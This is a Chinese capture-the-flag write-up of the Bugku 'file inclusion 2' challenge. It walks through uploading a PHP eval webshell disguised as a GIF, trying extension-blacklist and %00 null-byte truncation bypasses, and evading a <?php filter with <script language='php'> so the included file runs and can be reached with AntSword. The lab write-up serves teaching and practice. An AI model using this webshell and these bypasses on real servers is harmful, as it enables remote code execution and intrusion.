题目:bugku 文件包含2
知识点:文件包含
工具:中国剑蚁
解题:
点开链接:
有点小炫酷的动画,除此之外没有什么信息,看一下源码:
发现注释中隐藏的upload.php,与题目的文件上传吻合了,现在思考怎么使用这个文件名,是直接访问还是如同默认页面一样,在file后传入文件名:
这里我们选择后者,比较幸运,成功了:
查看源码也并无玄机,看来应该到了上传文件的时候了。
文件上传通常需要我们做的是,上传一个恶意php脚本,然后我直接访问或者用菜刀、剑蚁之类的工具连接该脚本,其实核心思想即是服务器要认为这是一个脚本(这一题告诉我们真正重要的是可以执行)可以执行这个文件里的内容。
接下来想办法上传恶意脚本,首先没有客户端脚本对我们的上传进行限制,不过这个有没有关系不大,我们直接上传.gif,内容为<?php @eval($_POST[‘shell’])?>,然后抓包查看:
先根据常见的黑名单绕过方法,尝试修改文件后缀为.php .Php .PHP .pht .phpt .php3 .php5 .php6 .php7,果然全部失败
这时候再尝试一下%00截断,这个我之前听说过但是还没尝试过,这里需要好好记录一下。
%00截断(也可以是0x00,/00等等):%00等字符表示的是ascii码值为0的字符,学过C语言的童鞋应该了解,字符串都要以%0结尾,这里的道理是相同的,echo “hello%00123”;打印出的是hello,因为%00已经结尾了。要注意php的版本,高版本已经启用%00截断,有的版本需要在php.ini中设置开启。
%00截断在文件上传处的使用是这样一种情况,我们构造类似于这样的文件名,tmp.php%00.gif,服务器检测到.gif认为这在白名单内,允许上传,但是实际上由于字符串截断,上传了文件.php(不过我这里不太明白的是,我认为判断文加后缀的函数也应该检测到文件截断啊,有大佬知道的话,望告知)
修改文件名为 tmp.php%00gif后上传成功,但是结果显示它还是一个gif文件
我估计这应该是失败了,用剑蚁连接
http://114.67.246.176:14047/upload/202108010125546979.gif
果然失败了。
难道是要修改一些http首部吗?不确定,但是突然有了个想法上传文件的页面和默认页面都是通过file参数访问的,而且成功作为脚本文件加载了,那么我们直接访问file=tmp.gif行不行呢?
进行尝试:
虽然出现了点意外,这里应该是过滤了<?php ?>,但是这个结果告诉我们有戏。
这里要想一下,应该怎么去绕过,一般的写法有这几种:
<? echo ("这是一个 PHP 语言的嵌入范例\n"); ?>
<?php echo("这是第二个 PHP 语言的嵌入范例\n"); ?>
<script language="php">
echo ("这是类似 JavaScript 及 VBScript 语法
的 PHP 语言嵌入范例");
</script>
<% echo ("这是类似 ASP 嵌入语法的 PHP 范例"); %>
依次尝试,发现<script language 这种写法成功了,直接用剑蚁连接
命令行使用grep和find没有权限,只有手动查找了。